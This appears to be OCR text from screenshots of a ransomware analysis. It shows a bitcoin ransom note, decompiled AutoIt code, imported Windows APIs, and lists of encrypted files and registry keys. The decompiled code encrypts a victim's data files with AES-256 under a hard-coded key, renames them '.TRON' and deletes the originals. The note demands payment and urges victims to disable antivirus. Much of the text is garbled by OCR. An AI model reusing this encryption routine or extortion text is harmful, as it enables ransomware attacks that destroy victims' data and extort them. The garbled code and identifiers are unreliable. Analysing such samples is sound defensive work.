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Organize v Include in library ~ Share with ~ Burn New folder = 0 e
P Name : Date modified Type Size
M Desktop test file (1).bak 1/31/2018 10:19 PM
}4 Downloads test file (1).dwg 3/14/2018 6:28 PM
<» Recent Places test file (1).kmz
test file (1).m
o Libraries ®) test file (1).mp4 0
% Documents R test file (1).PNG mage
4 Music 2B test file (1).rar RAR archive
= Pictures test file (1).srt
& videos test file (2).bak
BB test file (2).rar 3/2/20181223PM  V archive
& Computer B testzip 3/31/2018 10:07 A ZIP archive
& Local Disk (C) 2B testfiles (1).7z 4/12/2018 8 v archive
» Media (E) testfiles (1).m 1/22/2018 6 N
B testfiles (1).zip 4/25/2018 206 PM  WinRAR ZIP archive
& Network testfiles (2).m 22/2018 421 PM N \‘I
®) testfiles (2.mp4 P ";
BB testfiles (2).rar = /’//
testfiles (3)m E=Vd
® testfiles (3).mp4 E 4
®| testfiles (4).mp4 :: // <
® testfiles (5).mp4 3 ///‘
B testfiles (11).rar 2
testfiles (12).rar v
I testfiles (13).rar 4/25/2018 2:05 PM
24 items
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| README.txt - Notepad =

File Edit Format View Help

What Happened to My Computer? -
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer accessible because they have
been encrypted. Maybe you are busy 1ock1ng for a way to recovery your files, but do not waste your time.

Nobody can recover your files without our decryption service.

Can i Recover my Files ?

sure, wWe guarantee that you can recover 11 your files safely and easily. But you have not so enough time.
You have only have 10 days to submit the payment. Also, if you don't pay in 10 days, you won't be able to
recover your files forever.

How Do I pay?

Payment is accepted in bitcoin only. For more inforrmation. Please check the current price of bitcoin and buy
some bitcoins.

And send the correct amount to the address specifiled in the window.

After your payment you need to write to us on mail ( bitcoin.change.manager@gmail.com )

we will decrypt your files.

We strongly recommend you to not remove this software, and disable your anti-virus for a while, untill you pay .
and the payment gets processed. If your anti-virus gets updated and removes this software autmatically, it =~ =
will not be able to recover your files even if you pay!

To unlock the computer, you must transfer the bitcoins to this address: 1GFDAKpVsGskvnd4RmnjjuxmcrX54xC4lny
to contact us, write here: bitcoin.change.manager@gmail.com

\\;\\o

For buy bitcoins, i can advise

Website: https://localbitcoins.com

website: https://www.bestchange.com

The essence of the work through the exchangers is very simple: Choose what currency to change.
Then what currency you want to ( in our case - want to receive bitcoins ) =
Indicate the requisites of your wallet pay and a few minutes receive bitcoins to your wallet.
if you do not understand, you can watch the video how to exchange your money for bitcoin
https://www.youtube. com/watch?v=]ck4GeBB3-c
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Summary Transactions

Address 1GFDAKpVsGskvnd4Rmnjjuxmerxs4xC41nY No. Transactions 0
Hash 160 a739dc8c799280bfa97021ff61b33dfbd965f8ad Total Received 0BTC
Tools Related Tags - Unspent Outputs Final Balance 0BTC

Request Payment Donation Button
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$extension = " _TRON"
S$key = "ShxCHInY"

Fun k()
GUICreate{ "'vi241242F")

FileInstall{"README.txt", "C:\ProgramData\READHE.
_crypt_startup(

Sleep(:00)

_filecreate{@appDataDir & "\Network\peton.phk")
_filecreate(BLOCALAPPDATADIR & "\Microsoft\Windows\netq.pbk™)

$filelist = _fo_filesearch(@LOCALAPPDATADIR, "db", True, 125, 1, 1, 0)
$1ist = UBound($filelist) — 1
For $i = 1 Te $list
If _fileinuse($filelist[$i]) = "no” |AND FileGetSize($filelist[$i]) < 15728640 Then

_crypt_encryptfile($filelist[$i]} $filelist[$i] & Sextension, $key, $calg_aes_256)
FileDelete{$filelist[$i])
EndIf
Next
$filelist = _fo_filesearch{@LOCALAPPDATADIR, “rar", True, 125, 1, 1, 0)
$1list = UBound($filelist) - 1
For $i = 1 Te $list
If _fileinuse($filelist[$i]) = "no” AND FileGetSize($filelist[$i]) < 15728640 Thenm
_crypt_encryptfile{$filelist[$i], $filelist[$i] & $extension, $key, $calg_aes 256)
FileDelete($filelist[$i])
EndIf
Next
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$filelist = _fo_filesearch(@LOCALAPPDATADIR, "rar', True, 125, 1, 1, 0)
$list = UBound($filelist) - 1
For $i = 1 Te $list
If _fileinuse($Filelist[$i]) = "no" AND FileGetSize($filelist[$i]) < 15728640 Then
_crypt_encryptfile($filelist[$i], $Filelist[$i] & Sextension, S$key, S$calg_aes 256)
FileDelete($filelist[$i])
EndIf
Next
$filelist = _fo_filesearch(BLOCALAPPDATADIR, “dat", True, 125, 1, 1, 0)
$list = UBound($filelist) — 1
For $i = 1 To $list
If _fileinuse($filelist[$i]) = "no" AND FileGetSize($Ffilelist[$i]) < 15728646 Then
_crypt_encryptfile($filelist[$i], $Filelist[$i] & Sextension, $key, $calg_aes 256)
FileDelete($filelist[$i])
EndIf
Next
$filelist = _fo_filesearch(@LOCALAPPDATADIR, "key", True, 125, 1, 1, 0)
$list = UBound($filelist) - 1
For $i = 1 Te $list
If _fileinuse($Filelist[$i]) = "no” AND FileGetSize($Filelist[$i]) < 15728646 Then
_crypt_encryptfile($filelist[$i], $Filelist[$i] & Sextension, $key, $calg_aes_256)
FileDelete($filelist[$i])
EndIf
Hext
$filelist = _fo_filesearch(@LOCALAPPDATADIR, "db", True, 125, 1, 1, 0)
$list = UBound{$filelist) - 1
For $i = 1 To $list
If _fileinuse($filelist[$i]) = "no” AND FileGetSize($filelist[$i]) < 15728646 Then
_crypt_encryptfile{$filelist[$i], $Filelist[$i] & Sextension, $key, $calg_aes_256)
FileDelete($filelist[$i])
Endif
Hext
$filelist = _fo_filesearch(BLOCALAPPDATADIR, “yar', True, 125, 1, 1, 0)
$list = UBound{$filelist) - 1
For $i = 1 To $list
If _fileinuse($filelist[$i]) = "no" AND FileGetSize($filelist[$i]) < 15728646 Then
_crypt_encryptfile($filelist[$i], $filelist[$i] & Sextension, $key, $calg_aes_256)
FileDelete($filelist[$i])
EndIf
Hext
$filelist = _fo_filesearch{BLOCALAPPDATADIR, "dat", True, 125, 1, 1, 0)
$list = UBound($filelist) - 1
For $i = 1 Yo $list
If _fileinuse{$filelist[$i]) = "no" AND FileGetSize($filelist[$i]) < 15728640 Then
_crypt_encryptfile($filelist[$i], S$Filelist[$i] & Sextension, $key, $calg_aes_256)
FileDelete{$filelist[$i])
EndIf
Next
$filelist = _fo_filesearch(@LOCALAPPDATADIR, "propeties”, True, 125, 1, 1, 0)
$list = UBound($filelist) - 1
For §i = 1 To $list
If _fileinuse($filelist[$i]) = "no” AND FileGetSize($filelist[$i]) < 15728640 Then
_crypt_encryptfile($filelist[$i], $filelist[$i] & $extension, $key, $calg_aes_256)
FileDelete{$Ffilelist[$i])
EndIf
Next
$filelist = _fo_filesearch(@appDatabir, "db", True, 125, 1, 1, )
$list = UBound($Filelist) - 1
For $i = 1 Te $list
If _fileinuse{$filelist[$i]) = "no" AND FileGetSize($filelist[$i]) < 15728640 Then
_crypt_encryptfile{$filelist[$i], $filelist[$i] & Sextension, $key, Scalg_aes_256)
FileDelete($filelist[$i])
EndIf
Next
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| DA View-A ‘ [B] Hexview-1 [ | [A] structures [ | E  ewms [0 | mports [ | #F  eports [
rdata:004BCOOL dd 0 -
.rdata:0ouBceos ;
_rdataz0pEBCO98 3 IMport nanmes fm—
_rdata:004BCO98
Lrdataz0puBCoos OFF_4BCO9S dd rua word_4BCE9E ; DATA XREF: .rdata:_ [MPORT_DESCRIPTOR_USERENUTo
_rdata: 004BCO9IC dd rua word_4BCESA
_rdata:004BCOAD dd rua word 4BCE78
.rdata:004BCoAY dd Fua word_4BCESC
_rdata:004BCOAS dd o

_rdata:084BCYAC ;

-rdata:004BCOAC ; Import names fur

_rdata:@04BC9AC

_rdata:004BCOAC of f_4BCIAC dd rua word_4BCECH ; DATA XREF: .rdata:_ IMPORT_DESCRIPTOR UxThemeto
.rdata:004BCoBe dd 8

_rdata:004BC9BL

_rdata:004BC9BL ; Import names fur

.rdata:geuBCoBY ;

_rdata:004BCOBL oFf_4BCIBY dd rua word_UBCAF2 : DATA XREF: _rdata:_ IMPORT_DESCRIPTOR_UERSIONTo

_rdata:004BC9BS dd rua word_LBCADS
.rdata:004BCoBC dd rva word_4BCBES

_rdata:004BCoCe dd 8
rdata:z BBEBCOCY

_rdata:0o4BCocs ; Import names For|WININET.d1l

_rdata:@e4BCOCY ;

_rdata:004BCOCE of f_4BCICH dd rua word_HBCDEE 5 DATA XREF: .rdata:_ IMPORT_DESCRIPTOR_WININETTo
.rdata:0e4BCocs dd rva word_4BCCCE

_rdata:004BCYCC dd rua word_4BCCEY

_rdata:084BCoD0 dd rua word_4BCCF4

.rdata:0euBCoDy dd rva word_4BCDBA

_rdata:004BC9DS dd rua word_4BCDIE

_rdata:084BCoDC dd rua word_4BCD30

.rdata:004BCoES dd rva word_4BCDSC

_rdata:004BCYEL dd rua word_4BCD78

_rdata:004BCYES dd rua word_4BCDE4

.rdata:004BCEC dd rva word_4BCD9Y

_rdata:004BCYF 0 dd rua word_4BCDAG

_rdata:004BCYFL dd rua word_LBCDBA

.rdata:004BCoFs dd rva word_4BCDHS »
_rdata:004BCYFC dd 8

_rdata:004BCAGD ;

rdata:0o4BCADD ; Import names For|WINMM.dLL
_rdata:004BCABE

_rdata:004BCADE of f_4BCABE dd rua word_HBCB26 5 DATA XREF: .rdata:_ IMPORT_DESCRIPTOR_WINHHTo
.rdata:0e4BCAS: dd rva word_4BCBAG

_rdata:004BCADS dd rua word_4BCBI4

_rdata:004BCABE dd &

.rdata:geuBCA1e ;

_rdata:00%BCAT0 ; Import mames for |WSOCK32.d1l

_rdata:084BCA10

.rdata:go4BCA1o dword_4BCATE dd 8008007 4h 5 DATA XREF: .rdata:_ [MPORT_DESCRIPTOR_WSOCK3I2To
_rdata:@04BCATL dd 80888817h
_rdata:004BCA1S dd 8006060CHh
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GetProcessMemorylnfo

COMCTLYY dlI ’ WININET.dIl SHELLY'Y dlI USERENV.dII ‘ MPR.dlI

Imagelist_BeginDrag FtpGetFileSize DragFinish CreateEnvironm = WNetAddConnection2W
Imagelist_Create FtpOpenFileW DragQueryFileW entBlock WNetCancelConnection2W
ImagelList_Destroy HttpOpenRequestW DragQueryPoint DestroyEnviron = WNetGetConnectionW
Imagelist_DragEnter HttpQuerylnfow ExtractlconExW mentBlock WNetUseConnectionW
Imagelist_DraglLeave HttpSendRequestW SHBrowseForFolderW LoadUserProfile
Imagelist_DragMove InternetCloseHandle SHCreateShellltem w
ImagelList_EndDrag InternetConnectW Shell_NotifylconW UnloadUserProf
Imagelist_Remove InternetCrackUrlW ShellExecuteExW ile
ImageList_Replacelcon InternetOpenUrlW ShellExecuteW
Imagelist_SetDragCursorim | InternetOpenW SHEmptyRecycleBinW
age InternetQueryDataAvaila = SHFileOperationW
InitCommonControlsEx ble SHGetDesktopFolder
InternetQueryOptionW SHGetFolderPathW
InternetReadFile SHGetPathFromIDList
InternetSetOptionW w
SHGetSpecialFolderLoc
ation

WINMM.dII ‘ VERSION.dII COMDLGYY dlI IPHLPAPI.dII ‘ UxTheme.dll

mciSendStringW GetFileVersionInfoSizeW = GetOpenFileNameW | IcmpCloseHandle | IsThemeActive
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timeGetTime GetFileVersioninfoW GetSaveFileNameW IcmpCreateFile

waveOutSetVolume VerQueryValueW IcmpSendEcho

ADVAPIYY.dll ‘ GDIYY.dIl olery.dil OLEAUTYY.dIl ‘ WSOCKYY.dll

AddAce AngleArc CLSIDFromProgID CreateDispTypelnfo __WSAFDIsSet

AdjustTokenPrivileges BeginPath CLSIDFromString CreateStdDispatch accept

AllocateAndInitializeSid CloseFigure CoCreatelnstance DispCallFunc bind

CheckTokenMembership CreateCompatibleBitmap = CoCreatelnstanceEx LoadTypelLibEx closesocket

CopySid CreateCompatibleDC CoGetlnstanceFromFile = OleLoadPicture connect

CreateProcessAsUserW CreateDCW CoGetObject QueryPathOfRegTypelLib gethostbyname

CreateProcessWithLogonW = CreateFontW Colnitialize RegisterTypelLib gethostname

DuplicateTokenEx CreatePen ColnitializeSecurity RegisterTypeLibForUser htons

FreeSid CreateSolidBrush CoSetProxyBlanket SafeArrayAccessData inet_addr

GetAce DeleteDC CoTaskMemAlloc SafeArrayAllocData inet_ntoa

GetAclinformation DeleteObject CoTaskMemFree SafeArrayAllocDescriptorE  ioctlsocket

GetlLengthSid Ellipse CoUninitialize X listen

GetSecurityDescriptorDacl EndPath CreateStreamOnHGIlob = SafeArrayCreateVector ntohs

GetTokenlInformation ExtCreatePen al SafeArrayDestroyData recv

GetUserNameW GetDeviceCaps GetRunningObjectTabl | SafeArrayDestroyDescript = recvfrom

InitializeAcl GetDIBits e or select

InitializeSecurityDescriptor | GetObjectW IIDFromString SafeArrayGetVartype send

InitiateSystemShutdownEx GetPixel MkParseDisplayName SafeArrayUnaccessData sendto

w GetStockObject Olelnitialize SysAllocString setsockopt

LogonUserW GetTextExtentPoint32W = OleSetContainedObject = SysFreeString socket

LookupPrivilegeValueW GetTextFaceW OleSetMenuDescriptor = SysReAllocString WSACleanup

OpenProcessToken LineTo OleUninitialize SysStringlLen WSAGetLastErro

OpenThreadToken MoveToEx ProgIDFromCLSID UnRegisterTypelLib r

RegCloseKey PolyDraw StringFromGUID2 UnRegisterTypeLibForUser | WSAStartup

RegConnectRegistryW Rectangle VariantChangeType

RegCreateKeyExW RoundRect VariantClear

RegDeleteKeyW SelectObject VariantCopy

RegDeleteValueW SetBkColor VariantCopyind

RegEnumKeyExW SetBkMode Variantlnit

RegEnumValueW SetPixel VariantTimeToSystemTime

RegOpenKeyExW SetTextColor VarR8FromDec

RegQueryValueExW SetViewportOrgEx

RegSetValueExW StretchBIt

SetSecurityDescriptorDacl StrokeAndFillPath

StrokePath

KERNELY'Y.dll KERNELY'Y.dII KERNELY'Y.dll KERNELY'Y.dll KERNELY'Y.dll

Beep FreeLibrary HeapAlloc SetlLastError VirtualFreeEx

CloseHandle GetACP HeapFree SetPriorityClass WaitForSingleObject

CompareStringW GetCommandLineW HeapReAlloc SetStdHandle WideCharToMultiBy

CopyFileExW GetComputerNameW HeapSize SetSystemPowerState @ te

CopyFileW GetConsoleCP InitializeCriticalSection = SetUnhandledExcepti = WriteConsoleW

CreateDirectoryW

GetConsoleMode

AndSpinCount

onFilter

WriteFile
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CreateEventW GetCPInfo InterlockedDecrement = SetVolumelLabelW WritePrivateProfileS
CreateFileW GetCurrentDirectoryW InterlockedExchange GetSystemTimeAsFile = ectionW
CreateHardLinkW GetCurrentProcess InterlockedIncrement Time WritePrivateProfileS
CreatePipe GetCurrentProcessld IsDebuggerPresent GetTempFileNameW tringW
CreateProcessW GetCurrentThread IsProcessorFeaturePres = GetTempPathW WriteProcessMemor
CreateThread GetCurrentThreadld ent GetTimeFormatW y
CreateToolhelp32Snapshot = GetDateFormatW IsValidCodePage GetTimeZonelnformat = QueryPerformanceF
DecodePointer GetDiskFreeSpaceExW IsWow64Process ion requency
DeleteCriticalSection GetDiskFreeSpaceW LCMapStringW GetVersionExW RaiseException
DeleteFileW GetDriveTypeW LeaveCriticalSection GetVolumelnformatio = ReadConsoleW
DeviceloControl GetEnvironmentStringsW  LoadLibraryA nW ReadFile
DuplicateHandle GetEnvironmentVariable LoadLibraryExW GetWindowsDirectory = ReadProcessMemor
EncodePointer w LoadLibraryW w y
EnterCriticalSection GetExitCodeProcess LoadResource GlobalAlloc RemoveDirectoryW
EnumResourceNamesW GetFileAttributesW LocalFileTimeToFileTim | GlobalFree ResumeThread
ExitProcess GetFileSize e GlobalLock RtlUnwind
ExitThread GetFileType LockResource GlobalMemoryStatuste = SetCurrentDirectory
FileTimeTolLocalFileTime GetFullPathNameW IstrcmpiW X w
FileTimeToSystemTime GetlLastError IstrcpyW GlobalUnlock SetEndOfFile
FindClose GetlLocalTime IstrlenW SetEnvironmentVaria GetProcessloCounte
FindFirstFileW GetLongPathNameW MoveFileW bleA rs
FindNextFileW GetModuleFileNameW MulDiv SetEnvironmentVaria = GetShortPathName
FindResourceExW GetModuleHandleExW MultiByteToWideChar blew W
FindResourceW GetModuleHandleW OpenProcess SetErrorMode GetStartuplnfoW
FlushFileBuffers GetOEMCP OutputDebugStringW SetEvent GetStdHandle
FormatMessageW GetPrivateProfileSectionN | Process32FirstW SetFileAttributesW GetStringTypeW
FreeEnvironmentStringsW amesW Process32NextW SetFilePointerEx GetSystemDirectory
SizeofResource GetPrivateProfileSection QueryPerformanceCou | SetFileTime W
Sleep w nter UnhandledExceptionFi = GetSystemInfo
SystemTimeToFileTime GetPrivateProfileStringW | TisAlloc Iter GetProcessld
TerminateProcess GetProcAddress TlsFree VirtualAlloc VirtualFree
TerminateThread GetProcessHeap TlsGetValue VirtualAllocEx

TlsSetValue
USERY'Y.dII USERY'Y.dII USERY'Y.dII USERY'Y.dII USERY'Y.dII
AdjustWindowRectEx DrawTextW IsCharAlphaW SetProcessWindowSta = GetMenu
AttachThreadlnput EmptyClipboard IsCharLowerW tion GetMenultemCount
BeginPaint EnableWindow IsCharUpperW SetRect GetMenultemID
BlockInput EndDialog IsClipboardFormatAvail = SetTimer GetMenultemInfoW
CallWindowProcW EndPaint able SetUserObjectSecurity = GetMenuStringW
CharLowerBuffw EnumChildWindows IsDialogMessageW SetWindowLongW GetMessageW
CharNextW EnumThreadWindows IsDIgButtonChecked SetWindowPos GetMonitorinfoW
CharUpperBuffW EnumWindows Islconic SetWindowTextW GetParent
CheckMenuRadioltem ExitWindowsEx IsMenu ShowWindow GetProcessWindowS
ClientToScreen FillRect IsWindow SystemParametersinf | tation
CloseClipboard FindWindowExW IsWindowEnabled oW GetSubMenu
CloseDesktop FindWindowW IsWindowVisible TrackPopupMenuEx GetSysColor
CloseWindowsStation FlashWindow IsZoomed TranslateAccelerator GetSysColorBrush
Copylmage FrameRect keybd_event w GetSystemMetrics
CopyRect GetActiveWindow KillTimer TranslateMessage GetUserObjectSecur
CountClipboardFormats GetAsyncKeyState LoadCursorW UnregisterHotKey ity
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CreateAcceleratorTableW
CreatelconFromResourceEx
CreateMenu
CreatePopupMenu
CreateWindowExW
DefDIgProcW
DefWindowProcW
DeleteMenu
DestroyAcceleratorTable
Destroylcon
DestroyMenu
DestroyWindow
DialogBoxParamW
DispatchMessageW
DrawFocusRect
DrawFrameControl
DrawMenuBar
SendDlgltemMessageW
SendInput

GetCaretPos
GetClassLongW
GetClassNameW
GetClientRect
GetClipboardData
GetCursorinfo
GetCursorPos

GetDC
GetDesktopWindow
GetDIgCtrlID

GetDlgltem

GetFocus
GetForegroundWindow
GetKeyboardLayoutName
w

GetKeyboardState
GetKeyState
RegisterWindowMessage
W

ReleaseCapture

LoadlconW
LoadlmageW
LoadStringW
LockWindowUpdate
MapVirtualKeyW
MessageBeep
MessageBoxA
MessageBoxW
MonitorFromPoint
MonitorFromRect
mouse_event
MoveWindow
OpenClipboard
OpenDesktopW

OpenWindowStationW

PeekMessageW
PostMessageW
ReleaseDC
ScreenToClient

VkKeyScanW
wsprintfW
SendMessageTimeout
w

SendMessageW
SetActiveWindow
SetCapture
SetClipboardData
SetCursor

SetFocus
SetForegroundWindo
w

SetKeyboardState
SetLayeredWindowAt
tributes

SetMenu
SetMenuDefaultltem
SetMenultemIinfoW

‘ﬁb ef:?_ﬁ

GetWindowDC
GetWindowLongW
GetWindowRect
GetWindowTextLen
gthw
GetWindowTextW
GetWindowThreadP
rocessld

InflateRect
InsertMenultemW
InvalidateRect
IsCharAlphaNumeric
W

PostQuitMessage
PtinRect
RedrawWindow
RegisterClassExW
RegisterHotKey
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C:\17abbc9e2cd58563abald2f3ceb539eced16ec950ddcc3f8e068f9d0c5441096
C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\aut3.tmp

C:\ProgramData\README.txt

C:\WINDOWS\system32\rsaenh.dll

C:\Documents and Settings\<USER>\Application Data\Network\neton.pbk

C:\Documents and Settings\<USER>\Local Settings\Application Data\Microsoft\Windows\netq.pbk
C:\Documents and Settings\<USER>\Local Settings\Application Data\lconCache.db

C:\Documents and Settings\<USER>\Local Settings\Application Data\lconCache.db.TRON

C:\Documents and Settings\<USER>\Local Settings\Application Data\GDIPFONTCACHEV1.DAT

C:\Documents and Settings\<USER>\Local Settings\Application Data\GDIPFONTCACHEV1.DAT.TRON
C:\Documents andSettings\<USER>\LocalSettings\ApplicationData\Microsoft\InternetExplorer\MSIMGSIZ.DAT
C:\DocumentsandSettings\<USER>\LocalSettings\ApplicationData\Microsoft\InternetExplorer\MSIMGSIZ.DAT.
TRON

C:\Documents and Settings\<USER>\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
C:\Documents and Settings\<USER>\My Documents\progs\spotify.exe

C:\Documents and Settings\<USER>\My Documents\progs\spotify.exe. TRON

C:\Documents and Settings\<USER>\My Documents\magicalonso.txt

C:\Documents and Settings\<USER>\My Documents\magicalonso.txt. TRON

C:\Documents and Settings\<USER>\Desktop\bigbang.txt

C:\Documents and Settings\<USER>\Desktop\bigbang.txt. TRON
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C:\WINDOWS\system32\rsaenh.dll
C:\Documents and Settings\<USER>\Local Settings\Application Data\lconCache.db
C:\Documents and Settings\<USER>\Local Settings\Application Data\GDIPFONTCACHEV1.DAT
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C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\aut3.tmp

C:\Documents and Settings\<USER>\Application Data\Network\neton.pbk

C:\Documents and Settings\<USER>\Local Settings\Application Data\lconCache.db.TRON

C:\Documents and Settings\<USER>\Local Settings\Application Data\GDIPFONTCACHEV1.DAT.TRON
C:\DocumentsandSettings\<USER>\LocalSettings\ApplicationData\Microsoft\InternetExplorer\MSIMGSIZ.DAT.
TRON

C:\Documents and Settings\<USER>\My Documents\progs\spotify.exe.TRON

C:\Documents and Settings\<USER>\My Documents\magicalonso.txt. TRON

C:\Documents and Settings\<USER>\Desktop\bigbang.txt. TRON
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C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\aut3.tmp

C:\Documents and Settings\<USER>\Local Settings\Application Data\lconCache.db

C:\Documents and Settings\<USER>\Local Settings\Application Data\GDIPFONTCACHEV1.DAT

C:\Documents andSettings\<USER>\LocalSettings\ApplicationData\Microsoft\InternetExplorer\MSIMGSIZ.DAT
C:\Documents and Settings\<USER>\My Documents\progs\spotify.exe

C:\Documents and Settings\<USER>\My Documents\magicalonso.txt

C:\Documents and Settings\<USER>\Desktop\bigbang.txt
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\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\996E.exe
\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers
\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\Codeldentifiers\TransparentEnabled
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Policies\Microsoft\Windows\Safer\Codeldentifiers
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WSOCK32.dlI
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VERSION.dII
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WINMM.dII
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wavel
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave2
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave3
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave4
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave5
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave6
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave7
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave8
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave9
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\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midil
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi2
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi3
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi4
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi5
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi6
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi7
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi8
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi9
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux1
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux2
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux3
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux4
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux5
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux6
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux7
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux8
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux9
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixerl
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer2
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer3
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer4
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer5
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer6
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer7
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer8
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer9
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\COMCTL32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPR.dlI
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASN1.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CRYPT32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ole32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OLEAUT32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WININET.dII
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IPHLPAPI.DLL
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USERENV.dII
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Personal
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Local Settings

\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows\System
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UxTheme.dl|
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SHELL32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\COMDLG32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntdll.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KERNEL32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDI32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USER32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Secur32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RPCRT4.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ADVAPI32.dl|
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msvcrt.dll
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\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WS2HELP.dlI
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WS2_32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SHLWAPI.dII
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSAPI.DLL
